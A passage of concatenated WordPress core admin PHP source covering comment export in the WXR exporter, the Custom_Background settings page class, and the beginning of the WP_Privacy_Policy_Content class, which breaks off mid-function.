		<wp:postmeta>
		<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
		<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
		</wp:postmeta>
					<?php
	endforeach;

				$_comments = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->comments WHERE comment_post_ID = %d AND comment_approved <> 'spam'", $post->ID ) );
				$comments  = array_map( 'get_comment', $_comments );
				foreach ( $comments as $c ) :
					?>
		<wp:comment>
			<wp:comment_id><?php echo (int) $c->comment_ID; ?></wp:comment_id>
			<wp:comment_author><?php echo wxr_cdata( $c->comment_author ); ?></wp:comment_author>
			<wp:comment_author_email><?php echo wxr_cdata( $c->comment_author_email ); ?></wp:comment_author_email>
			<wp:comment_author_url><?php echo sanitize_url( $c->comment_author_url ); ?></wp:comment_author_url>
			<wp:comment_author_IP><?php echo wxr_cdata( $c->comment_author_IP ); ?></wp:comment_author_IP>
			<wp:comment_date><?php echo wxr_cdata( $c->comment_date ); ?></wp:comment_date>
			<wp:comment_date_gmt><?php echo wxr_cdata( $c->comment_date_gmt ); ?></wp:comment_date_gmt>
			<wp:comment_content><?php echo wxr_cdata( $c->comment_content ); ?></wp:comment_content>
			<wp:comment_approved><?php echo wxr_cdata( $c->comment_approved ); ?></wp:comment_approved>
			<wp:comment_type><?php echo wxr_cdata( $c->comment_type ); ?></wp:comment_type>
			<wp:comment_parent><?php echo (int) $c->comment_parent; ?></wp:comment_parent>
			<wp:comment_user_id><?php echo (int) $c->user_id; ?></wp:comment_user_id>
					<?php
					$c_meta = $wpdb->get_results( $wpdb->prepare( "SELECT * FROM $wpdb->commentmeta WHERE comment_id = %d", $c->comment_ID ) );
					foreach ( $c_meta as $meta ) :
						/**
						 * Filters whether to selectively skip comment meta used for WXR exports.
						 *
						 * Returning a truthy value from the filter will skip the current meta
						 * object from being exported.
						 *
						 * @since 4.0.0
						 *
						 * @param bool   $skip     Whether to skip the current comment meta. Default false.
						 * @param string $meta_key Current meta key.
						 * @param object $meta     Current meta object.
						 */
						if ( apply_filters( 'wxr_export_skip_commentmeta', false, $meta->meta_key, $meta ) ) {
							continue;
						}
						?>
	<wp:commentmeta>
	<wp:meta_key><?php echo wxr_cdata( $meta->meta_key ); ?></wp:meta_key>
			<wp:meta_value><?php echo wxr_cdata( $meta->meta_value ); ?></wp:meta_value>
			</wp:commentmeta>
					<?php	endforeach; ?>
		</wp:comment>
			<?php	endforeach; ?>
		</item>
				<?php
			}
		}
	}
	?>
</channel>
</rss>
	<?php
}
<?php
/**
 * The custom background script.
 *
 * @package WordPress
 * @subpackage Administration
 */

/**
 * The custom background class.
 *
 * @since 3.0.0
 */
#[AllowDynamicProperties]
class Custom_Background {

	/**
	 * Callback for administration header.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_header_callback;

	/**
	 * Callback for header div.
	 *
	 * @var callable
	 * @since 3.0.0
	 */
	public $admin_image_div_callback;

	/**
	 * Used to trigger a success message when settings updated and set to true.
	 *
	 * @since 3.0.0
	 * @var bool
	 */
	private $updated;

	/**
	 * Constructor - Registers administration header callback.
	 *
	 * @since 3.0.0
	 *
	 * @param callable $admin_header_callback    Optional. Administration header callback.
	 *                                           Default empty string.
	 * @param callable $admin_image_div_callback Optional. Custom image div output callback.
	 *                                           Default empty string.
	 */
	public function __construct( $admin_header_callback = '', $admin_image_div_callback = '' ) {
		$this->admin_header_callback    = $admin_header_callback;
		$this->admin_image_div_callback = $admin_image_div_callback;

		add_action( 'admin_menu', array( $this, 'init' ) );

		add_action( 'wp_ajax_custom-background-add', array( $this, 'ajax_background_add' ) );

		// Unused since 3.5.0.
		add_action( 'wp_ajax_set-background-image', array( $this, 'wp_set_background_image' ) );
	}

	/**
	 * Sets up the hooks for the Custom Background admin page.
	 *
	 * @since 3.0.0
	 */
	public function init() {
		$page = add_theme_page(
			_x( 'Background', 'custom background' ),
			_x( 'Background', 'custom background' ),
			'edit_theme_options',
			'custom-background',
			array( $this, 'admin_page' )
		);

		if ( ! $page ) {
			return;
		}

		add_action( "load-{$page}", array( $this, 'admin_load' ) );
		add_action( "load-{$page}", array( $this, 'take_action' ), 49 );
		add_action( "load-{$page}", array( $this, 'handle_upload' ), 49 );

		if ( $this->admin_header_callback ) {
			add_action( "admin_head-{$page}", $this->admin_header_callback, 51 );
		}
	}

	/**
	 * Sets up the enqueue for the CSS & JavaScript files.
	 *
	 * @since 3.0.0
	 */
	public function admin_load() {
		get_current_screen()->add_help_tab(
			array(
				'id'      => 'overview',
				'title'   => __( 'Overview' ),
				'content' =>
					'<p>' . __( 'You can customize the look of your site without touching any of your theme&#8217;s code by using a custom background. Your background can be an image or a color.' ) . '</p>' .
					'<p>' . __( 'To use a background image, simply upload it or choose an image that has already been uploaded to your Media Library by clicking the &#8220;Choose Image&#8221; button. You can display a single instance of your image, or tile it to fill the screen. You can have your background fixed in place, so your site content moves on top of it, or you can have it scroll with your site.' ) . '</p>' .
					'<p>' . __( 'You can also choose a background color by clicking the Select Color button and either typing in a legitimate HTML hex value, e.g. &#8220;#ff0000&#8221; for red, or by choosing a color using the color picker.' ) . '</p>' .
					'<p>' . __( 'Do not forget to click on the Save Changes button when you are finished.' ) . '</p>',
			)
		);

		get_current_screen()->set_help_sidebar(
			'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
			'<p>' . __( '<a href="https://codex.wordpress.org/Appearance_Background_Screen">Documentation on Custom Background</a>' ) . '</p>' .
			'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
		);

		wp_enqueue_media();
		wp_enqueue_script( 'custom-background' );
		wp_enqueue_style( 'wp-color-picker' );
	}

	/**
	 * Executes custom background modification.
	 *
	 * @since 3.0.0
	 */
	public function take_action() {
		if ( empty( $_POST ) ) {
			return;
		}

		if ( isset( $_POST['reset-background'] ) ) {
			check_admin_referer( 'custom-background-reset', '_wpnonce-custom-background-reset' );

			remove_theme_mod( 'background_image' );
			remove_theme_mod( 'background_image_thumb' );

			$this->updated = true;
			return;
		}

		if ( isset( $_POST['remove-background'] ) ) {
			// @todo Uploaded files are not removed here.
			check_admin_referer( 'custom-background-remove', '_wpnonce-custom-background-remove' );

			set_theme_mod( 'background_image', '' );
			set_theme_mod( 'background_image_thumb', '' );

			$this->updated = true;
			wp_safe_redirect( $_POST['_wp_http_referer'] );
			return;
		}

		if ( isset( $_POST['background-preset'] ) ) {
			check_admin_referer( 'custom-background' );

			if ( in_array( $_POST['background-preset'], array( 'default', 'fill', 'fit', 'repeat', 'custom' ), true ) ) {
				$preset = $_POST['background-preset'];
			} else {
				$preset = 'default';
			}

			set_theme_mod( 'background_preset', $preset );
		}

		if ( isset( $_POST['background-position'] ) ) {
			check_admin_referer( 'custom-background' );

			$position = explode( ' ', $_POST['background-position'] );

			if ( in_array( $position[0], array( 'left', 'center', 'right' ), true ) ) {
				$position_x = $position[0];
			} else {
				$position_x = 'left';
			}

			if ( in_array( $position[1], array( 'top', 'center', 'bottom' ), true ) ) {
				$position_y = $position[1];
			} else {
				$position_y = 'top';
			}

			set_theme_mod( 'background_position_x', $position_x );
			set_theme_mod( 'background_position_y', $position_y );
		}

		if ( isset( $_POST['background-size'] ) ) {
			check_admin_referer( 'custom-background' );

			if ( in_array( $_POST['background-size'], array( 'auto', 'contain', 'cover' ), true ) ) {
				$size = $_POST['background-size'];
			} else {
				$size = 'auto';
			}

			set_theme_mod( 'background_size', $size );
		}

		if ( isset( $_POST['background-repeat'] ) ) {
			check_admin_referer( 'custom-background' );

			$repeat = $_POST['background-repeat'];

			if ( 'no-repeat' !== $repeat ) {
				$repeat = 'repeat';
			}

			set_theme_mod( 'background_repeat', $repeat );
		}

		if ( isset( $_POST['background-attachment'] ) ) {
			check_admin_referer( 'custom-background' );

			$attachment = $_POST['background-attachment'];

			if ( 'fixed' !== $attachment ) {
				$attachment = 'scroll';
			}

			set_theme_mod( 'background_attachment', $attachment );
		}

		if ( isset( $_POST['background-color'] ) ) {
			check_admin_referer( 'custom-background' );

			$color = preg_replace( '/[^0-9a-fA-F]/', '', $_POST['background-color'] );

			if ( strlen( $color ) === 6 || strlen( $color ) === 3 ) {
				set_theme_mod( 'background_color', $color );
			} else {
				set_theme_mod( 'background_color', '' );
			}
		}

		$this->updated = true;
	}

	/**
	 * Displays the custom background page.
	 *
	 * @since 3.0.0
	 */
	public function admin_page() {
		?>
<div class="wrap" id="custom-background">
<h1><?php _e( 'Custom Background' ); ?></h1>

		<?php
		if ( current_user_can( 'customize' ) ) {
			$message = sprintf(
				/* translators: %s: URL to background image configuration in Customizer. */
				__( 'You can now manage and live-preview Custom Backgrounds in the <a href="%s">Customizer</a>.' ),
				admin_url( 'customize.php?autofocus[control]=background_image' )
			);
			wp_admin_notice(
				$message,
				array(
					'type'               => 'info',
					'additional_classes' => array( 'hide-if-no-customize' ),
				)
			);
		}

		if ( ! empty( $this->updated ) ) {
			$updated_message = sprintf(
				/* translators: %s: Home URL. */
				__( 'Background updated. <a href="%s">Visit your site</a> to see how it looks.' ),
				esc_url( home_url( '/' ) )
			);
			wp_admin_notice(
				$updated_message,
				array(
					'id'                 => 'message',
					'additional_classes' => array( 'updated' ),
				)
			);
		}
		?>

<h2><?php _e( 'Background Image' ); ?></h2>

<table class="form-table" role="presentation">
<tbody>
<tr>
<th scope="row"><?php _e( 'Preview' ); ?></th>
<td>
		<?php
		if ( $this->admin_image_div_callback ) {
			call_user_func( $this->admin_image_div_callback );
		} else {
			$background_styles = '';
			$bgcolor           = get_background_color();
			if ( $bgcolor ) {
				$background_styles .= 'background-color: #' . $bgcolor . ';';
			}

			$background_image_thumb = get_background_image();
			if ( $background_image_thumb ) {
				$background_image_thumb = esc_url( set_url_scheme( get_theme_mod( 'background_image_thumb', str_replace( '%', '%%', $background_image_thumb ) ) ) );
				$background_position_x  = get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) );
				$background_position_y  = get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) );
				$background_size        = get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) );
				$background_repeat      = get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) );
				$background_attachment  = get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) );

				// Background-image URL must be single quote, see below.
				$background_styles .= " background-image: url('$background_image_thumb');"
				. " background-size: $background_size;"
				. " background-position: $background_position_x $background_position_y;"
				. " background-repeat: $background_repeat;"
				. " background-attachment: $background_attachment;";
			}
			?>
	<div id="custom-background-image" style="<?php echo $background_styles; ?>"><?php // Must be double quote, see above. ?>
			<?php if ( $background_image_thumb ) { ?>
		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" /><br />
		<img class="custom-background-image" src="<?php echo $background_image_thumb; ?>" style="visibility:hidden;" alt="" />
		<?php } ?>
	</div>
	<?php } ?>
</td>
</tr>

		<?php if ( get_background_image() ) : ?>
<tr>
<th scope="row"><?php _e( 'Remove Image' ); ?></th>
<td>
<form method="post">
			<?php wp_nonce_field( 'custom-background-remove', '_wpnonce-custom-background-remove' ); ?>
			<?php submit_button( __( 'Remove Background Image' ), '', 'remove-background', false ); ?><br />
			<?php _e( 'This will remove the background image. You will not be able to restore any customizations.' ); ?>
</form>
</td>
</tr>
		<?php endif; ?>

		<?php $default_image = get_theme_support( 'custom-background', 'default-image' ); ?>
		<?php if ( $default_image && get_background_image() !== $default_image ) : ?>
<tr>
<th scope="row"><?php _e( 'Restore Original Image' ); ?></th>
<td>
<form method="post">
			<?php wp_nonce_field( 'custom-background-reset', '_wpnonce-custom-background-reset' ); ?>
			<?php submit_button( __( 'Restore Original Image' ), '', 'reset-background', false ); ?><br />
			<?php _e( 'This will restore the original background image. You will not be able to restore any customizations.' ); ?>
</form>
</td>
</tr>
		<?php endif; ?>

		<?php if ( current_user_can( 'upload_files' ) ) : ?>
<tr>
<th scope="row"><?php _e( 'Select Image' ); ?></th>
<td><form enctype="multipart/form-data" id="upload-form" class="wp-upload-form" method="post">
	<p>
		<label for="upload"><?php _e( 'Choose an image from your computer:' ); ?></label><br />
		<input type="file" id="upload" name="import" />
		<input type="hidden" name="action" value="save" />
			<?php wp_nonce_field( 'custom-background-upload', '_wpnonce-custom-background-upload' ); ?>
			<?php submit_button( __( 'Upload' ), '', 'submit', false ); ?>
	</p>
	<p>
		<label for="choose-from-library-link"><?php _e( 'Or choose an image from your media library:' ); ?></label><br />
		<button id="choose-from-library-link" class="button"
			data-choose="<?php esc_attr_e( 'Choose a Background Image' ); ?>"
			data-update="<?php esc_attr_e( 'Set as background' ); ?>"><?php _e( 'Choose Image' ); ?></button>
	</p>
	</form>
</td>
</tr>
		<?php endif; ?>
</tbody>
</table>

<h2><?php _e( 'Display Options' ); ?></h2>
<form method="post">
<table class="form-table" role="presentation">
<tbody>
		<?php if ( get_background_image() ) : ?>
<input name="background-preset" type="hidden" value="custom">

			<?php
			$background_position = sprintf(
				'%s %s',
				get_theme_mod( 'background_position_x', get_theme_support( 'custom-background', 'default-position-x' ) ),
				get_theme_mod( 'background_position_y', get_theme_support( 'custom-background', 'default-position-y' ) )
			);

			$background_position_options = array(
				array(
					'left top'   => array(
						'label' => __( 'Top Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center top' => array(
						'label' => __( 'Top' ),
						'icon'  => 'dashicons dashicons-arrow-up-alt',
					),
					'right top'  => array(
						'label' => __( 'Top Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
				array(
					'left center'   => array(
						'label' => __( 'Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center center' => array(
						'label' => __( 'Center' ),
						'icon'  => 'background-position-center-icon',
					),
					'right center'  => array(
						'label' => __( 'Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
				array(
					'left bottom'   => array(
						'label' => __( 'Bottom Left' ),
						'icon'  => 'dashicons dashicons-arrow-left-alt',
					),
					'center bottom' => array(
						'label' => __( 'Bottom' ),
						'icon'  => 'dashicons dashicons-arrow-down-alt',
					),
					'right bottom'  => array(
						'label' => __( 'Bottom Right' ),
						'icon'  => 'dashicons dashicons-arrow-right-alt',
					),
				),
			);
			?>
<tr>
<th scope="row"><?php _e( 'Image Position' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Image Position' );
			?>
</span></legend>
<div class="background-position-control">
			<?php foreach ( $background_position_options as $group ) : ?>
	<div class="button-group">
				<?php foreach ( $group as $value => $input ) : ?>
		<label>
			<input class="ui-helper-hidden-accessible" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>"<?php checked( $value, $background_position ); ?>>
			<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
			<span class="screen-reader-text"><?php echo $input['label']; ?></span>
		</label>
	<?php endforeach; ?>
	</div>
<?php endforeach; ?>
</div>
</fieldset></td>
</tr>

<tr>
<th scope="row"><label for="background-size"><?php _e( 'Image Size' ); ?></label></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_e( 'Image Size' );
			?>
</span></legend>
<select id="background-size" name="background-size">
<option value="auto"<?php selected( 'auto', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _ex( 'Original', 'Original Size' ); ?></option>
<option value="contain"<?php selected( 'contain', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _e( 'Fit to Screen' ); ?></option>
<option value="cover"<?php selected( 'cover', get_theme_mod( 'background_size', get_theme_support( 'custom-background', 'default-size' ) ) ); ?>><?php _e( 'Fill Screen' ); ?></option>
</select>
</fieldset></td>
</tr>

<tr>
<th scope="row"><?php _ex( 'Repeat', 'Background Repeat' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_ex( 'Repeat', 'Background Repeat' );
			?>
</span></legend>
<input name="background-repeat" type="hidden" value="no-repeat">
<label><input type="checkbox" name="background-repeat" value="repeat"<?php checked( 'repeat', get_theme_mod( 'background_repeat', get_theme_support( 'custom-background', 'default-repeat' ) ) ); ?>> <?php _e( 'Repeat Background Image' ); ?></label>
</fieldset></td>
</tr>

<tr>
<th scope="row"><?php _ex( 'Scroll', 'Background Scroll' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
			<?php
			/* translators: Hidden accessibility text. */
			_ex( 'Scroll', 'Background Scroll' );
			?>
</span></legend>
<input name="background-attachment" type="hidden" value="fixed">
<label><input name="background-attachment" type="checkbox" value="scroll" <?php checked( 'scroll', get_theme_mod( 'background_attachment', get_theme_support( 'custom-background', 'default-attachment' ) ) ); ?>> <?php _e( 'Scroll with Page' ); ?></label>
</fieldset></td>
</tr>
<?php endif; // get_background_image() ?>
<tr>
<th scope="row"><?php _e( 'Background Color' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
		<?php
		/* translators: Hidden accessibility text. */
		_e( 'Background Color' );
		?>
</span></legend>
		<?php
		$default_color = '';
		if ( current_theme_supports( 'custom-background', 'default-color' ) ) {
			$default_color = ' data-default-color="#' . esc_attr( get_theme_support( 'custom-background', 'default-color' ) ) . '"';
		}
		?>
<input type="text" name="background-color" id="background-color" value="#<?php echo esc_attr( get_background_color() ); ?>"<?php echo $default_color; ?>>
</fieldset></td>
</tr>
</tbody>
</table>

		<?php wp_nonce_field( 'custom-background' ); ?>
		<?php submit_button( null, 'primary', 'save-background-options' ); ?>
</form>

</div>
		<?php
	}

	/**
	 * Handles an Image upload for the background image.
	 *
	 * @since 3.0.0
	 */
	public function handle_upload() {
		if ( empty( $_FILES ) ) {
			return;
		}

		check_admin_referer( 'custom-background-upload', '_wpnonce-custom-background-upload' );

		$overrides = array( 'test_form' => false );

		$uploaded_file = $_FILES['import'];
		$wp_filetype   = wp_check_filetype_and_ext( $uploaded_file['tmp_name'], $uploaded_file['name'] );
		if ( ! wp_match_mime_types( 'image', $wp_filetype['type'] ) ) {
			wp_die( __( 'The uploaded file is not a valid image. Please try again.' ) );
		}

		$file = wp_handle_upload( $uploaded_file, $overrides );

		if ( isset( $file['error'] ) ) {
			wp_die( $file['error'] );
		}

		$url      = $file['url'];
		$type     = $file['type'];
		$file     = $file['file'];
		$filename = wp_basename( $file );

		// Construct the attachment array.
		$attachment = array(
			'post_title'     => $filename,
			'post_content'   => $url,
			'post_mime_type' => $type,
			'guid'           => $url,
			'context'        => 'custom-background',
		);

		// Save the data.
		$id = wp_insert_attachment( $attachment, $file );

		// Add the metadata.
		wp_update_attachment_metadata( $id, wp_generate_attachment_metadata( $id, $file ) );
		update_post_meta( $id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

		set_theme_mod( 'background_image', sanitize_url( $url ) );

		$thumbnail = wp_get_attachment_image_src( $id, 'thumbnail' );
		set_theme_mod( 'background_image_thumb', sanitize_url( $thumbnail[0] ) );

		/** This filter is documented in wp-admin/includes/class-custom-image-header.php */
		$file = apply_filters( 'wp_create_file_in_uploads', $file, $id ); // For replication.

		$this->updated = true;
	}

	/**
	 * Handles Ajax request for adding custom background context to an attachment.
	 *
	 * Triggers when the user adds a new background image from the
	 * Media Manager.
	 *
	 * @since 4.1.0
	 */
	public function ajax_background_add() {
		check_ajax_referer( 'background-add', 'nonce' );

		if ( ! current_user_can( 'edit_theme_options' ) ) {
			wp_send_json_error();
		}

		$attachment_id = absint( $_POST['attachment_id'] );
		if ( $attachment_id < 1 ) {
			wp_send_json_error();
		}

		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_stylesheet() );

		wp_send_json_success();
	}

	/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 *
	 * @param array $form_fields
	 * @return array $form_fields
	 */
	public function attachment_fields_to_edit( $form_fields ) {
		return $form_fields;
	}

	/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 *
	 * @param array $tabs
	 * @return array $tabs
	 */
	public function filter_upload_tabs( $tabs ) {
		return $tabs;
	}

	/**
	 * @since 3.4.0
	 * @deprecated 3.5.0
	 */
	public function wp_set_background_image() {
		check_ajax_referer( 'custom-background' );

		if ( ! current_user_can( 'edit_theme_options' ) || ! isset( $_POST['attachment_id'] ) ) {
			exit;
		}

		$attachment_id = absint( $_POST['attachment_id'] );

		$sizes = array_keys(
			/** This filter is documented in wp-admin/includes/media.php */
			apply_filters(
				'image_size_names_choose',
				array(
					'thumbnail' => __( 'Thumbnail' ),
					'medium'    => __( 'Medium' ),
					'large'     => __( 'Large' ),
					'full'      => __( 'Full Size' ),
				)
			)
		);

		$size = 'thumbnail';
		if ( in_array( $_POST['size'], $sizes, true ) ) {
			$size = esc_attr( $_POST['size'] );
		}

		update_post_meta( $attachment_id, '_wp_attachment_is_custom_background', get_option( 'stylesheet' ) );

		$url       = wp_get_attachment_image_src( $attachment_id, $size );
		$thumbnail = wp_get_attachment_image_src( $attachment_id, 'thumbnail' );
		set_theme_mod( 'background_image', sanitize_url( $url[0] ) );
		set_theme_mod( 'background_image_thumb', sanitize_url( $thumbnail[0] ) );
		exit;
	}
}
<?php
/**
 * WP_Privacy_Policy_Content class.
 *
 * @package WordPress
 * @subpackage Administration
 * @since 4.9.6
 */

#[AllowDynamicProperties]
final class WP_Privacy_Policy_Content {

	private static $policy_content = array();

	/**
	 * Constructor
	 *
	 * @since 4.9.6
	 */
	private function __construct() {}

	/**
	 * Adds content to the postbox shown when editing the privacy policy.
	 *
	 * Plugins and themes should suggest text for inclusion in the site's privacy policy.
	 * The suggested text should contain information about any functionality that affects user privacy,
	 * and will be shown in the Suggested Privacy Policy Content postbox.
	 *
	 * Intended for use from `wp_add_privacy_policy_content()`.
	 *
	 * @since 4.9.6
	 *
	 * @param string $plugin_name The name of the plugin or theme that is suggesting content for the site's privacy policy.
	 * @param string $policy_text The suggested content for inclusion in the policy.
	 */
	public static function add( $plugin_name, $policy_text ) {
		if ( empty( $plugin_name ) || empty( $policy_text ) ) {
			return;
		}

		$data = array(
			'plugin_name' => $plugin_name,
			'policy_text' => $policy_text,
		);

		if ( ! in_array( $data, self::$policy_content, true ) ) {
			self::$policy_content[] = $data;
		}
	}

	/**
	 * Performs a quick check to determine whether any privacy info has changed.
	 *
	 * @since 4.9.6
	 */
	public static function text_change_check() {

		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		// The site doesn't have a privacy policy.
		if ( empty( $policy_page_id ) ) {
			return false;
		}

		if ( ! current_user_can( 'edit_post', $policy_page_id ) ) {
			return false;
		}

		$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );

		// Updates are not relevant if the user has not reviewed any suggestions yet.
		if ( empty( $old ) ) {
			return false;
		}

		$cached = get_option( '_wp_suggested_policy_text_has_changed' );

		/*
		 * When this function is called before `admin_init`, `self::$policy_content`
		 * has not been populated yet, so use the cached result from the last
		 * execution instead.
		 */
		if ( ! did_action( 'admin_init' ) ) {
			return 'changed' === $cached;
		}

		$new = self::$policy_content;

		// Remove the extra values added to the meta.
		foreach ( $old as $key => $data ) {
			if ( ! is_array( $data ) || ! empty( $data['removed'] ) ) {
				unset( $old[ $key ] );
				continue;
			}

			$old[ $key ] = array(
				'plugin_name' => $data['plugin_name'],
				'policy_text' => $data['policy_text'],
			);
		}

		// Normalize the order of texts, to facilitate comparison.
		sort( $old );
		sort( $new );

		/*
		 * The == operator (equal, not identical) was used intentionally.
		 * See https://www.php.net/manual/en/language.operators.array.php
		 */
		if ( $new != $old ) {
			/*
			 * A plugin was activated or deactivated, or some policy text has changed.
			 * Show a notice on the relevant screens to inform the admin.
			 */
			add_action( 'admin_notices', array( 'WP_Privacy_Policy_Content', 'policy_text_changed_notice' ) );
			$state = 'changed';
		} else {
			$state = 'not-changed';
		}

		// Cache the result for use before `admin_init` (see above).
		if ( $cached !== $state ) {
			update_option( '_wp_suggested_policy_text_has_changed', $state );
		}

		return 'changed' === $state;
	}

	/**
	 * Outputs a warning when some privacy info has changed.
	 *
	 * @since 4.9.6
	 */
	public static function policy_text_changed_notice() {
		$screen = get_current_screen()->id;

		if ( 'privacy' !== $screen ) {
			return;
		}

		$privacy_message = sprintf(
			/* translators: %s: Privacy Policy Guide URL. */
			__( 'The suggested privacy policy text has changed. Please <a href="%s">review the guide</a> and update your privacy policy.' ),
			esc_url( admin_url( 'privacy-policy-guide.php?tab=policyguide' ) )
		);

		wp_admin_notice(
			$privacy_message,
			array(
				'type'               => 'warning',
				'additional_classes' => array( 'policy-text-updated' ),
				'dismissible'        => true,
			)
		);
	}

	/**
	 * Updates the cached policy info when the policy page is updated.
	 *
	 * @since 4.9.6
	 * @access private
	 *
	 * @param int $post_id The ID of the updated post.
	 */
	public static function _policy_page_updated( $post_id ) {
		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		if ( ! $policy_page_id || $policy_page_id !== (int) $post_id ) {
			return;
		}

		// Remove updated|removed status.
		$old          = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
		$done         = array();
		$update_cache = false;

		foreach ( $old as $old_key => $old_data ) {
			if ( ! empty( $old_data['removed'] ) ) {
				// Remove the old policy text.
				$update_cache = true;
				continue;
			}

			if ( ! empty( $old_data['updated'] ) ) {
				// 'updated' is now 'added'.
				$done[]       = array(
					'plugin_name' => $old_data['plugin_name'],
					'policy_text' => $old_data['policy_text'],
					'added'       => $old_data['updated'],
				);
				$update_cache = true;
			} else {
				$done[] = $old_data;
			}
		}

		if ( $update_cache ) {
			delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
			// Update the cache.
			foreach ( $done as $data ) {
				add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
			}
		}
	}

	/**
	 * Checks for updated, added or removed privacy policy information from plugins.
	 *
	 * Caches the current info in post_meta of the policy page.
	 *
	 * @since 4.9.6
	 *
	 * @return array The privacy policy text/information added by core and plugins.
	 */
	public static function get_suggested_policy_text() {
		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );
		$checked        = array();
		$time           = time();
		$update_cache   = false;
		$new            = self::$policy_content;
		$old            = array();

		if ( $policy_page_id ) {
			$old = (array) get_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
		}

		// Check for no-changes and updates.
		foreach ( $new as $new_key => $new_data ) {
			foreach ( $old as $old_key => $old_data ) {
				$found = false;

				if ( $new_data['policy_text'] === $old_data['policy_text'] ) {
					// Use the new plugin name in case it was changed, translated, etc.
					if ( $old_data['plugin_name'] !== $new_data['plugin_name'] ) {
						$old_data['plugin_name'] = $new_data['plugin_name'];
						$update_cache            = true;
					}

					// A plugin was re-activated.
					if ( ! empty( $old_data['removed'] ) ) {
						unset( $old_data['removed'] );
						$old_data['added'] = $time;
						$update_cache      = true;
					}

					$checked[] = $old_data;
					$found     = true;
				} elseif ( $new_data['plugin_name'] === $old_data['plugin_name'] ) {
					// The info for the policy was updated.
					$checked[]    = array(
						'plugin_name' => $new_data['plugin_name'],
						'policy_text' => $new_data['policy_text'],
						'updated'     => $time,
					);
					$found        = true;
					$update_cache = true;
				}

				if ( $found ) {
					unset( $new[ $new_key ], $old[ $old_key ] );
					continue 2;
				}
			}
		}

		if ( ! empty( $new ) ) {
			// A plugin was activated.
			foreach ( $new as $new_data ) {
				if ( ! empty( $new_data['plugin_name'] ) && ! empty( $new_data['policy_text'] ) ) {
					$new_data['added'] = $time;
					$checked[]         = $new_data;
				}
			}
			$update_cache = true;
		}

		if ( ! empty( $old ) ) {
			// A plugin was deactivated.
			foreach ( $old as $old_data ) {
				if ( ! empty( $old_data['plugin_name'] ) && ! empty( $old_data['policy_text'] ) ) {
					$data = array(
						'plugin_name' => $old_data['plugin_name'],
						'policy_text' => $old_data['policy_text'],
						'removed'     => $time,
					);

					$checked[] = $data;
				}
			}
			$update_cache = true;
		}

		if ( $update_cache && $policy_page_id ) {
			delete_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content' );
			// Update the cache.
			foreach ( $checked as $data ) {
				add_post_meta( $policy_page_id, '_wp_suggested_privacy_policy_content', $data );
			}
		}

		return $checked;
	}

	/**
	 * Adds a notice with a link to the guide when editing the privacy policy page.
	 *
	 * @since 4.9.6
	 * @since 5.0.0 The `$post` parameter was made optional.
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_Post|null $post The currently edited post. Default null.
	 */
	public static function notice( $post = null ) {
		if ( is_null( $post ) ) {
			global $post;
		} else {
			$post = get_post( $post );
		}

		if ( ! ( $post instanceof WP_Post ) ) {
			return;
		}

		if ( ! current_user_can( 'manage_privacy_options' ) ) {
			return;
		}

		$current_screen = get_current_screen();
		$policy_page_id = (int) get_option( 'wp_page_for_privacy_policy' );

		if ( 'post' !== $current_screen->base || $policy_page_id !== $post->ID ) {
			return;
		}

		$message = __( 'Need help putting together your new Privacy Policy page? Check out our guide for recommendations on what content to include, along with policies suggested by your plugins and theme.' );
		$url     = esc_url( admin_url( 'options-privacy.php?tab=policyguide' ) );
		$label   = __( 'View Privacy Policy Guide.' );

		if ( get_current_screen()->is_block_editor() ) {
			wp_enqueue_script( 'wp-notices' );
			$action = array(
				'url'   => $url,
				'label' => $label,
			);
			wp_add_inline_script(
				'wp-notices',
				sprintf(
					'wp.data.dispatch( "core/notices" ).createWarningNotice( "%s", { actions: [ %s ], isDismissible: false } )',
					$message,
					wp_json_encode( $action )
				),
				'after'
			);
		} else {
			$message .= sprintf(
				' <a href="%s" target="_blank">%s <span class="screen-reader-text">%s</span></a>',
